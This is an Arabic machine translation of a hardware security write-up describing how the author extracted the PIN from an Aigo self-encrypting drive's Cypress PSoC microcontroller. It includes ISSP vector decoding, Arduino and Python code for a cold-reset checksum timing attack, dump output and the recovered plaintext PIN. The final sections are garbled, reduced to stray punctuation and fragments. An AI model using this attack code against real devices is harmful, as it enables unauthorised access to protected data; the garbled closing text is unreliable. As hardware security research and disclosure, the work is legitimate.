عكس القرص الصلب الخارجي للتشفير الذاتي Aigo. الجزء 2: الإغراق مع السرو PSoC

هذا هو الجزء الثاني والأخير من المقالة حول القرصنة الخارجية للتشفير محركات الأقراص. أذكرك أن زميلًا قد أحضر لي مؤخرًا محرك أقراص ثابت من طراز Patriot (Aigo) SK8671 ، وقررت عكسه ، والآن أنا أشاركه ما حدث. قبل القراءة ، تأكد من قراءة الجزء الأول من المقال.


4. نبدأ في إزالة ملف التفريغ من محرك الأقراص المحمول الداخلي PSoC
5. بروتوكول ISSP
- 5.1. ما هو ISSP؟
- 5.2. إزالة الغموض عن المتجهات
- 5.3. الدردشة مع PSoC
- 5.4. تحديد السجلات داخل الشريحة
- 5.5. بت واقية
6. الهجوم الأول (الفاشل): ROMX
7. الهجوم الثاني: تتبع مع إعادة تعيين الباردة
- 7.1. تطبيق
- 7.2. قراءة النتيجة
- 7.3. إعادة بناء فلاش الثنائية
- 7.4. ابحث عن عنوان تخزين الرمز السري
- 7.5. نزيل تفريغ الكتلة رقم 126
- 7.6. استعادة الرمز السري
8. ماذا بعد؟
9. الخاتمة




4. نبدأ في إزالة ملف التفريغ من محرك الأقراص المحمول الداخلي PSoC


لذلك ، يشير كل شيء (كما حددنا في [الجزء الأول] ()) إلى أن الرمز السري مخزّن في أحشاء فلاش PSoC. لذلك ، نحن بحاجة إلى قراءة هذه الأمعاء فلاش. أمام العمل اللازم:


  • السيطرة على "التواصل" مع متحكم.
  • العثور على طريقة للتحقق مما إذا كان هذا "الاتصال" محميًا من القراءة من الخارج ؛
  • العثور على وسيلة للتغلب على الأمن.

يوجد مكانان يكون من المنطقي فيه البحث عن رمز سري صالح:


  • ذاكرة فلاش داخلية ؛
  • SRAM ، حيث يمكن تخزين الرمز السري لمقارنته بالرمز السري الذي يدخله المستخدم.

بالتطلع إلى المستقبل ، لاحظت أنني ما زلت قادرًا على إزالة تفريغ محرك الأقراص المحمول PSoC الداخلي ، متجاوزًا نظام الحماية الخاص به ، باستخدام "تتبع إعادة الضبط البارد" للهجوم على الأجهزة بعد عكس الميزات غير الموثقة لبروتوكول ISSP. هذا سمح لي بتفريغ الرمز السري الحالي مباشرة.


$ ./psoc.py syncing: KO OK [...] PIN: 1 2 3 4 5 6 7 8 9 

كود البرنامج الناتج:




5. بروتوكول ISSP



5.1. ما هو ISSP؟


"التواصل" مع متحكم دقيق يمكن أن يعني أشياء مختلفة: من "البائع إلى البائع" ، إلى التفاعل باستخدام بروتوكول تسلسلي (على سبيل المثال ، ICSP لـ Micicip's PIC).


لدى Cypress بروتوكول الملكية الخاص بها ، والذي يسمى ISSP (بروتوكول البرمجة التسلسلية في النظام) ، والذي تم وصفه جزئيًا في المواصفات الفنية . يوفر US7185162 أيضًا بعض المعلومات. هناك أيضًا نظير OpenSource يسمى HSSP (سنستخدمه لاحقًا). يعمل ISSP كما يلي:


  • إعادة تشغيل PSoC ؛
  • إحضار الرقم السحري إلى محطة البيانات التسلسلية لهذه PSoC ؛ للدخول في وضع البرمجة الخارجية ؛
  • إرسال الأوامر التي هي سلاسل طويلة تسمى "ناقلات".

في وثائق ISSP ، يتم تعريف هذه المتجهات فقط لعدد قليل من الأوامر:


  • تهيئة-1
  • تهيئة-2
  • تهيئة 3 (خيارات 3V و 5 V)
  • ID-SETUP
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111 ، حيث dddddddd = block #
  • مسح السائبة
  • برنامج BLOCK
  • دققت-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDDZ1 ، حيث DDDDDDDDD = خرج البيانات ، aaaaaa = العنوان (6 بت)
  • اكتب: 10010aaaaaadddddddd111 ، حيث dddddddd = البيانات في ، aaaaaa = العنوان (6 بت)
  • على أمان
  • الاختباري-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDDZ110111111000ZDDDDDDDDZ1 ، حيث DDDDDDDDDDDDDDDDDD = إخراج البيانات: اختباري الجهاز
  • محو كتلة

على سبيل المثال ، المتجه لـ Initialize-2:


 1101111011100000000111 1101111011000000000111 1001111100000111010111 1001111100100000011111 1101111010100000000111 1101111010000000011111 1001111101110000000111 1101111100100110000111 1101111101001000000111 1001111101000000001111 1101111000000000110111 1101111100000000000111 1101111111100010010111 

جميع الموجهات لها نفس الطول: 22 بت. تحتوي وثائق HSSP على بعض المعلومات الإضافية حول ISSP: "ناقل ISSP ليس أكثر من تسلسل بت يمثل مجموعة من التعليمات."



5.2. إزالة الغموض عن المتجهات


دعونا نرى ما يحدث هنا. في البداية ، افترضت أن هذه المتجهات نفسها متغيرات أولية لتعليمات M8C ، ومع ذلك ، بعد اختبار هذه الفرضية ، وجدت أن رموز العمليات لا تتطابق.


ثم غوغل المتجه أعلاه ، وتعثرت على هذه الدراسة ، حيث يقدم المؤلف ، على الرغم من عدم الخوض في التفاصيل ، بعض الدلائل العملية: "يبدأ كل تعليمي بثلاث بتات تتوافق مع واحد من فن الإستذكار الأربعة (قراءة من RAM ، الكتابة إلى RAM ، اقرأ السجل ، اكتب السجل). ثم يأتي العنوان المكون من 8 بتات ، متبوعًا بـ 8 بتات للبيانات (إما للقراءة أو المكتوبة) وأخيراً بتات التوقف الثلاثة.


ثم تمكنت من جمع بعض المعلومات المفيدة جدًا من قسم الإشراف (SROM) في الدليل التقني . SROM عبارة عن قرص مضغوط ثابت الترميز في PSoC يوفر وظائف الخدمة (على غرار Syscall) لرمز البرنامج الذي يعمل في مساحة المستخدم:


  • 00h: SWBootReset
  • 01H: ReadBlock
  • 02h: WriteBlock
  • 03 ساعة: EraseBlock
  • 06h: TableRead
  • 07 س: المجموع الاختباري
  • 08h: Calibrate0
  • 09 ساعة: Calibrate1

بمقارنة أسماء المتجهات مع وظائف SROM ، يمكننا تعيين العمليات المختلفة التي يدعمها هذا البروتوكول لمعلمات SROM المتوقعة. بفضل هذا ، يمكننا فك تشفير البتات الثلاثة الأولى من متجهات ISSP:


  • 100 => "wrmem"
  • 101 => "rdmem"
  • 110 => "wrreg"
  • 111 => "rdreg"

ومع ذلك ، لا يمكن الحصول على فهم كامل للعمليات داخل الشريحة إلا من خلال الاتصال المباشر مع PSoC.



5.3. الدردشة مع PSoC


نظرًا لأن Dirk Petrautsky قام بالفعل بنقل رمز Cypress HSSP إلى Arduino ، فقد استخدمت Arduino Uno لتوصيل لوحة المفاتيح بموصل ISSP.


يرجى ملاحظة أنه خلال بحثي ، قمت بتغيير رمز ديرك إلى حد كبير. يمكنك العثور على التعديل الخاص بي على GitHub: فيما يلي نص بيثون المقابل للتواصل مع Arduino ، في مستودع cypress_psoc_tools الخاص بي .


لذلك ، باستخدام اردوينو ، في البداية كنت فقط استخدام متجهات "الرسمية" ل "التواصل". حاولت قراءة ROM الداخلية باستخدام الأمر VERIFY. كما هو متوقع ، لم أستطع القيام بذلك. ربما يرجع ذلك إلى حقيقة أن بتات الحماية للقراءة يتم تنشيطها داخل محرك الأقراص المحمول.


ثم قمت بإنشاء بعض المتجهات البسيطة للكتابة وقراءة الذاكرة / السجلات. يرجى ملاحظة أنه يمكننا قراءة SROM بالكامل ، على الرغم من أن محرك الأقراص المحمول محمي!



5.4. تحديد السجلات داخل الشريحة


بالنظر إلى المتجهات "المفككة" ، وجدت أن الجهاز يستخدم سجلات غير موثقة (0xF8-0xFA) للإشارة إلى رموز M8C التي يتم تنفيذها مباشرة ، متجاوزة الحماية. هذا سمح لي بتشغيل أكواد التشغيل المختلفة مثل "ADD" أو "MOV A أو X" أو "PUSH" أو "JMP". بفضلهم (النظر في الآثار الجانبية التي لديهم على السجلات) ، تمكنت من تحديد أي من السجلات غير الموثقة هي في الواقع سجلات منتظمة (A و X و SP و PC).


نتيجة لذلك ، يبدو الرمز "المفكك" الذي تم إنشاؤه بواسطة أداة HSSP_disas.rb كما يلي (للتوضيح ، أضفت تعليقات):


 --== init2 ==-- [DE E0 1C] wrreg CPU_F (f7), 0x00 #   [DE C0 1C] wrreg SP (f6), 0x00 #  SP [9F 07 5C] wrmem KEY1, 0x3A #    SSC [9F 20 7C] wrmem KEY2, 0x03 #  [DE A0 1C] wrreg PCh (f5), 0x00 #  PC (MSB) ... [DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ...  3 ?? [9F 70 1C] wrmem POINTER, 0x80 # RAM-    [DF 26 1C] wrreg opc1 (f9), 0x30 #  1 => "HALT" [DF 48 1C] wrreg opc2 (fa), 0x40 #  2 => "NOP" [9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID   SSC [DE 00 DC] wrreg A (f0), 0x06 #  "Syscall" : TableRead [DF 00 1C] wrreg opc0 (f8), 0x00 #   SSC, "Supervisory SROM Call" [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 #  :    


5.5. بت واقية


في هذه المرحلة ، يمكنني التواصل مع PSoC بالفعل ، لكن ما زلت لا أمتلك معلومات موثوقة حول البتات الواقية لمحرك الأقراص المحمول. لقد فوجئت جدًا بحقيقة أن Cypress لا تمنح مستخدم الجهاز أي وسيلة للتحقق من تنشيط الحماية. ذهبت إلى Google لفهم أخيرًا أنه تم تحديث رمز HSSP الذي توفره Cypress بعد أن أصدر Dirk تعديله. وهناك تذهب! هنا ناقل جديد مثل هذا:


 [DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A [9F 20 7C] wrmem KEY2, 0x03 [9F A0 1C] wrmem 0xFD, 0x00 #   [9F E0 1C] wrmem 0xFF, 0x00 #  [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [DE 02 1C] wrreg A (f0), 0x10 #  syscall ! [DF 00 1C] wrreg opc0 (f8), 0x00 [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 

باستخدام هذا المتجه (راجع read_security_data في psoc.py) ، نحصل على جميع وحدات بت الحماية في SRAM عند 0x80 ، حيث يكون كل بت محميًا باستخدام بتتين.


والنتيجة محبطة: كل شيء محمي في وضع "تعطيل القراءة والكتابة الخارجية". لذلك ، لا يمكننا فقط قراءة أي شيء من محرك أقراص فلاش USB ، ولكن أيضًا كتابته (على سبيل المثال ، لإدخال شاحنة قلابة ROM). والطريقة الوحيدة لتعطيل الحماية هي محو الشريحة بالكامل بالكامل. :-(



6. الهجوم الأول (الفاشل): ROMX


ومع ذلك ، يمكننا تجربة الخدعة التالية: نظرًا لأن لدينا القدرة على تنفيذ الشفرات التعسفية ، فلماذا لا يتم تشغيل ROMX ، والذي يستخدم لقراءة ذاكرة الفلاش؟ هذا النهج لديه فرصة جيدة للنجاح. نظرًا لأن وظيفة ReadBlock ، التي تقوم بقراءة البيانات من SROM (والذي يتم استخدامه بواسطة المتجهات) ، تتحقق لمعرفة ما إذا كان يتم استدعاء من ISSP. ومع ذلك ، فإن شفرة التشغيل ROMX ، من المفترض ، قد لا يكون لديها مثل هذا الاختيار. لذلك ، إليك رمز Python (بعد إضافة بعض الفئات المساعدة إلى كود Arduino C):


 for i in range(0, 8192): write_reg(0xF0, i>>8) # A = 0 write_reg(0xF3, i&0xFF) # X = 0 exec_opcodes("\x28\x30\x40") # ROMX, HALT, NOP byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A print "%02x" % ord(byte[0]) # print ROM byte 

لسوء الحظ ، هذا الرمز لا يعمل. :-( بدلاً من ذلك ، إنه يعمل ، لكن في الخرج نحصل على أكواد التشغيل الخاصة بنا (0x28 0x30 0x40)! لا أعتقد أن الوظيفة المطابقة للجهاز هي عنصر حماية القراءة. هذا يشبه خدعة هندسية: عند تنفيذ أكواد التشغيل الخارجية ، تتم إعادة توجيه ناقل ROM إلى مخزن مؤقت مؤقت.



7. الهجوم الثاني: تتبع مع إعادة تعيين الباردة


نظرًا لأن خدعة ROMX لم تنجح ، بدأت أفكر في صيغة أخرى لهذه الخدعة - الموضحة في المنشور "إلقاء الكثير من الضوء على حماية البرامج الثابتة في Microcontroller" .



7.1. تطبيق


يتم سرد المتجه التالي لـ CHECKSUM-SETUP في وثائق ISSP:


 [DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A [9F 20 7C] wrmem KEY2, 0x03 [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [9F 40 1C] wrmem BLOCKID, 0x00 [DE 00 FC] wrreg A (f0), 0x07 [DF 00 1C] wrreg opc0 (f8), 0x00 [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 

هنا ، في جوهرها ، تسمى الدالة SROM 0x07 ، كما هو موضح في الوثائق (منجم مائل):


هذه الوظيفة الاختبارية المجموع الاختباري. يقوم بحساب المجموع الاختباري 16 بت لعدد الكتل التي حددها المستخدم في بنك فلاش واحد ، مع حساب من الصفر. يتم استخدام المعلمة BLOCKID لنقل عدد الكتل التي سيتم استخدامها عند حساب المجموع الاختباري. ستحسب قيمة "1" المجموع الاختباري للكتلة الصفرية فقط ؛ في حين أن "0" ستؤدي إلى حقيقة أنه سيتم حساب المجموع الاختباري لجميع الكتل 256 لبنك فلاش. يتم إرجاع المجموع الاختباري 16 بت عبر KEY1 و KEY2. في المعلمة KEY1 ، يتم إصلاح 8 بتات منخفضة من المجموع الاختباري ، وفي KEY2 ، يتم تسجيل البتات 8 العالية. بالنسبة للأجهزة التي بها بنوك فلاش متعددة ، يتم استدعاء وظيفة المجموع الاختباري لكل منها على حدة. يتم تعيين رقم البنك الذي ستعمل به بواسطة السجل FLS_PR1 (عن طريق تعيين قليلاً في أنه يتوافق مع البنك فلاش الهدف).

لاحظ أن هذا هو أبسط المجموع الاختباري: يتم تلخيص البايتات واحدة تلو الأخرى ؛ لا المراوغات CRC متطورة. بالإضافة إلى ذلك ، مع العلم أن مجموعة السجلات في M8C الأساسية صغيرة جدًا ، افترضت أنه عند حساب المجموع الاختباري ، سيتم تحديد القيم الوسيطة في نفس المتغيرات التي سيتم إخراجها في النهاية: KEY1 (0xF8) / KEY2 (0xF9).


لذلك ، نظريًا ، يبدو هجومي كالتالي:


  1. الاتصال من خلال ISSP.
  2. نبدأ حساب المجموع الاختباري باستخدام ناقل CHECKSUM-SETUP.
  3. نعيد تشغيل المعالج بعد الوقت المحدد T.
  4. قراءة RAM للحصول على المجموع الاختباري الحالي C.
  5. كرر الخطوتين 3 و 4 ، في كل مرة تزيد T.
  6. نقوم باسترداد البيانات من محرك الأقراص المحمول عن طريق طرح المجموع الاختباري السابق C من المجموع الحالي.

ومع ذلك ، نشأت مشكلة: الموجه Initialize-1 ، الذي يجب أن نرسله بعد إعادة التشغيل ، يقوم بالكتابة فوق KEY1 و KEY2:


 1100101000000000000000 # ,  PSoC    nop nop nop nop nop [DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A #     [9F 20 7C] wrmem KEY2, 0x03 #   [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [DE 01 3C] wrreg A (f0), 0x09 # SROM- 9 [DF 00 1C] wrreg opc0 (f8), 0x00 # SSC [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 

يقوم هذا الرمز بالكتابة فوق المجموع الاختباري الثمين من خلال استدعاء Calibrate1 (وظيفة SROM 9) ... ربما يمكننا فقط الدخول في وضع البرمجة عن طريق إرسال الرقم السحري (من بداية الرمز أعلاه) ثم قراءة SRAM؟ ونعم ، إنه يعمل! كود اردوينو الذي ينفذ هذا الهجوم بسيط للغاية:


 case Cmnd_STK_START_CSUM: checksum_delay = ((uint32_t)getch())<<24; checksum_delay |= ((uint32_t)getch())<<16; checksum_delay |= ((uint32_t)getch())<<8; checksum_delay |= getch(); if(checksum_delay > 10000) { ms_delay = checksum_delay/1000; checksum_delay = checksum_delay%1000; } else { ms_delay = 0; } send_checksum_v(); if(checksum_delay) delayMicroseconds(checksum_delay); delay(ms_delay); start_pmode(); 

  1. قراءة checkum_delay.
  2. تشغيل حساب المجموع الاختباري (send_checksum_v).
  3. انتظر فترة زمنية معينة ؛ بالنظر إلى المزالق التالية:
    • لقد قتلت الكثير من الوقت حتى اكتشفت أن التأخيرالمايكرو ثانية تحولت للعمل بشكل صحيح فقط مع تأخيرات لا تتجاوز 16383mks ؛
    • ثم قتلت مرة أخرى نفس المقدار من الوقت حتى وجدت أن delayMicrosonds ، إذا مرت 0 إلى مدخلاتها ، عملت خاطئ تماما!
  4. أعد تحميل PSoC في وضع البرمجة (فقط أرسل الرقم السحري ، دون إرسال متجهات التهيئة).

شفرة بيثون الناتجة:


 for delay in range(0, 150000): #    for i in range(0, 10): #      try: reset_psoc(quiet=True) #       send_vectors() #    ser.write("\x85"+struct.pack(">I", delay)) #    +    res = ser.read(1) #  arduino ACK except Exception as e: print e ser.close() os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null") ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) #    continue print "%05d %02X %02X %02X" % (delay, #  RAM- read_regb(0xf1), read_ramb(0xf8), read_ramb(0xf9)) 

باختصار ، ما الذي يفعله هذا الرمز:


  1. إعادة تحميل PSoC (ويرسلها رقمًا سحريًا).
  2. يرسل متجهات التهيئة الكاملة.
  3. يستدعي الدالة Arduino Cmnd_STK_START_CSUM (0x85) ، حيث يتم تمرير التأخير في ميكروثانية كمعلمة.
  4. يقرأ المجموع الاختباري (0xF8 و 0xF9) والتسجيل غير الموثق 0xF1.

يتم تنفيذ هذا الرمز 10 مرات في 1 ميكروثانية. يتم تضمين 0xF1 هنا لأنه كان السجل الوحيد الذي تغير عند حساب المجموع الاختباري. ربما هذا نوع من المتغيرات المؤقتة المستخدمة من قبل جهاز المنطق الحسابي. انتبه إلى الاختراق القبيح الذي أعد تشغيل Arduino باستخدام picocom عندما يتوقف Arduino عن إعطاء علامات على الحياة (ليس لدي أي فكرة عن السبب).



7.2. قراءة النتيجة


تبدو نتيجة البرنامج النصي Python هكذا (مبسطة للقراءة):


 DELAY F1 F8 F9 # F1 –    # F8     # F9     00000 03 E1 19 [...] 00016 F9 00 03 00016 F9 00 00 00016 F9 00 03 00016 F9 00 03 00016 F9 00 03 00016 F9 00 00 #     0 00017 FB 00 00 [...] 00023 F8 00 00 00024 80 80 00 # 1- : 0x0080-0x0000 = 0x80 00024 80 80 00 00024 80 80 00 [...] 00057 CC E7 00 # 2- : 0xE7-0x80: 0x67 00057 CC E7 00 00057 01 17 01 #   ,    00057 01 17 01 00057 01 17 01 00058 D0 17 01 00058 D0 17 01 00058 D0 17 01 00058 D0 17 01 00058 F8 E7 00 #  E7? 00058 D0 17 01 [...] 00059 E7 E7 00 00060 17 17 00 #  [...] 00062 00 17 00 00062 00 17 00 00063 01 17 01 # , !        00063 01 17 01 [...] 00075 CC 17 01 # , 0x117-0xE7: 0x30 

في الوقت نفسه ، لدينا مشكلة: نظرًا لأننا نعمل على المجموع الاختباري الفعلي ، فإن البايت صفر لا يغير قيمة القراءة. ومع ذلك ، نظرًا لأن إجراء الحساب بالكامل (8192 بايت) يستغرق 0.1478 ثانية (مع انحرافات طفيفة في كل بداية) ، والتي تقابل تقريبًا 18.04 μs لكل بايت ، يمكننا استخدام هذا الوقت للتحقق من قيمة المجموع الاختباري في الأوقات المناسبة. بالنسبة لأول مرة ، يتم قراءة كل شيء بسهولة تامة ، لأن مدة الإجراء الحسابي هي نفسها دائمًا تقريبًا. ومع ذلك ، فإن نهاية هذا التفريغ أقل دقة ، لأن "الانحرافات الضئيلة في الوقت المناسب" مع كل تشغيل يتم تلخيصها وتصبح مهمة:


 134023 D0 02 DD 134023 CC D2 DC 134023 CC D2 DC 134023 CC D2 DC 134023 FB D2 DC 134023 3F D2 DC 134023 CC D2 DC 134024 02 02 DC 134024 CC D2 DC 134024 F9 02 DC 134024 03 02 DD 134024 21 02 DD 134024 02 D2 DC 134024 02 02 DC 134024 02 02 DC 134024 F8 D2 DC 134024 F8 D2 DC 134025 CC D2 DC 134025 EF D2 DC 134025 21 02 DD 134025 F8 D2 DC 134025 21 02 DD 134025 CC D2 DC 134025 04 D2 DC 134025 FB D2 DC 134025 CC D2 DC 134025 FB 02 DD 134026 03 02 DD 134026 21 02 DD 

هذه هي 10 مقالب لكل تأخير ميكروثانية. إجمالي وقت التشغيل لإلقاء جميع وحدات البايت 8192 لمحرك أقراص فلاش حوالي 48 ساعة.



7.3. إعادة بناء فلاش الثنائية


لم أكمل بعد كتابة رمز يعيد بناء رمز برنامج محرك الأقراص المحمول بالكامل ، مع مراعاة جميع الانحرافات في الوقت المناسب. ومع ذلك ، لقد استعدت بالفعل بداية هذا الرمز. للتأكد من أنني قمت بذلك بشكل صحيح ، قمت بتفكيكه باستخدام m8cdis:


 0000: 80 67 jmp 0068h ; Reset vector [...] 0068: 71 10 or F,010h 006a: 62 e3 87 mov reg[VLT_CR],087h 006d: 70 ef and F,0efh 006f: 41 fe fb and reg[CPU_SCR1],0fbh 0072: 50 80 mov A,080h 0074: 4e swap A,SP 0075: 55 fa 01 mov [0fah],001h 0078: 4f mov X,SP 0079: 5b mov A,X 007a: 01 03 add A,003h 007c: 53 f9 mov [0f9h],A 007e: 55 f8 3a mov [0f8h],03ah 0081: 50 06 mov A,006h 0083: 00 ssc [...] 0122: 18 pop A 0123: 71 10 or F,010h 0125: 43 e3 10 or reg[VLT_CR],010h 0128: 70 00 and F,000h ; Paging mode changed from 3 to 0 012a: ef 62 jacc 008dh 012c: e0 00 jacc 012dh 012e: 71 10 or F,010h 0130: 62 e0 02 mov reg[OSC_CR0],002h 0133: 70 ef and F,0efh 0135: 62 e2 00 mov reg[INT_VC],000h 0138: 7c 19 30 lcall 1930h 013b: 8f ff jmp 013bh 013d: 50 08 mov A,008h 013f: 7f ret 

تبدو معقولة جدا!



7.4. ابحث عن عنوان تخزين الرمز السري


الآن وبعد أن أصبح بإمكاننا قراءة المجموع الاختباري في الوقت الذي نحتاج إليه ، يمكننا بسهولة التحقق من كيفية حدوث ذلك وأين يتغير هذا عندما:


  • أدخل الرمز السري الخاطئ ؛
  • تغيير الرمز السري.

أولاً ، للعثور على عنوان التخزين التقريبي ، أخذت تفريغ المجموع الاختباري بزيادات تبلغ 10 مللي ثانية بعد إعادة التشغيل. ثم دخلت الرمز السري الخاطئ وفعلت الشيء نفسه.


لم تكن النتيجة ممتعة للغاية ، حيث كان هناك العديد من التغييرات. لكن في النهاية ، تمكنت من إثبات أن المجموع الاختباري قد تغير في مكان ما في الفترة الفاصلة بين 120،000 و 140،000 of تأخير. لكن "الرمز السري" الذي وصلت إليه كان خاطئًا تمامًا - نظرًا لظاهرة الإجراء delayMicroseconds ، التي تحدث أشياء غريبة عندما تحصل على 0.


بعد ذلك ، بعد قضاء 3 ساعات تقريبًا ، تذكرت أن استدعاء نظام CheckSum SROM عند الإدخال يتلقى وسيطة تحدد عدد كتل المجموع الاختباري! وهكذا يمكننا بسهولة ترجمة عنوان التخزين للرمز السري وعداد "المحاولات غير الصحيحة" ، بدقة إلى كتلة 64 بايت.


أعطت عملياتي الأولية النتيجة التالية:



ثم قمت بتغيير الرمز السري من "123456" إلى "1234567" وتلقيت:



وبالتالي ، يبدو أن الرمز السري ومحاولة محاولات غير صحيحة يتم تخزينها في الكتلة رقم 126.



7.5. نزيل تفريغ الكتلة رقم 126


يجب أن يكون موقع الكتلة رقم 126 في مكان ما في منطقة 125 × 64 × 18 = 144000 مترًا ، من بداية حساب المجموع الاختباري ، وفي مكب النفايات بالكامل ، ويبدو الأمر معقولًا للغاية. بعد ذلك ، بعد التدقيق يدويًا في العديد من مقالب النفايات غير الصالحة (نظرًا لتراكم "الانحرافات الطفيفة في الوقت") ، حصلت أخيرًا على هذه البايتات (مع تأخير قدره 145527 μs):



من الواضح أن رمز PIN يتم تخزينه في شكل غير مشفر! بالطبع ، لا تتم كتابة هذه القيم في أكواد ASCII ، ولكن كما اتضح ، فهي تعكس القراءات المأخوذة من لوحة المفاتيح بالسعة.


أخيرًا ، أجريت بعض الاختبارات الإضافية للعثور على مكان تخزين عداد المحاولات غير الصحيحة. هذه هي النتيجة:



0xFF - يعني "15 محاولة" ، وتنخفض مع كل محاولة غير صحيحة.



7.6. استعادة الرمز السري


إليكم الكود القبيح الذي يجمع كل ما سبق:


 def dump_pin(): pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5", 0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"} last_csum = 0 pin_bytes = [] for delay in range(145495, 145719, 16): csum = csum_at(delay, 1) byte = (csum-last_csum)&0xFF print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte) pin_bytes.append(byte) last_csum = csum print "PIN: ", for i in range(0, len(pin_bytes)): if pin_bytes[i] in pin_map: print pin_map[pin_bytes[i]], print 

هنا هي نتيجة تنفيذه:


 $ ./psoc.py syncing: KO OK Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK 145495 53e2 (0000) => e2 145511 5407 (53e2) => 25 145527 542d (5407) => 26 145543 5454 (542d) => 27 145559 5474 (5454) => 20 145575 5495 (5474) => 21 145591 54b7 (5495) => 22 145607 54da (54b7) => 23 145623 5506 (54da) => 2c 145639 5506 (5506) => 00 145655 5533 (5506) => 2d 145671 554c (5533) => 19 145687 554e (554c) => 02 145703 554e (554e) => 00 PIN: 1 2 3 4 5 6 7 8 9 

الصيحة! إنه يعمل!


يرجى ملاحظة أن قيم التأخير التي أستخدمها هي على الأرجح ذات صلة بواحدة PSoC محددة - تلك التي استخدمتها.



8. ماذا بعد؟


, PSoC, Aigo:


  • SRAM, ;
  • , « », .

, – - . :


  • , « »;
  • FPGA- ( Arduino);
  • : , RAM, , RAM, . Arduino - , Arduino 5 , 3,3 .

, – , . , , – , .


SROM, ReadBlock, , – , «REcon Brussels 2017» .


, – : SRAM, .



9.


, , ( «») … (), !


Aigo? - HDD-, 2015 SyScan, HDD-, , . :-)


. 40 . ( ) ( ). 40 , . .

Source: https://habr.com/ru/post/ar455529/


All Articles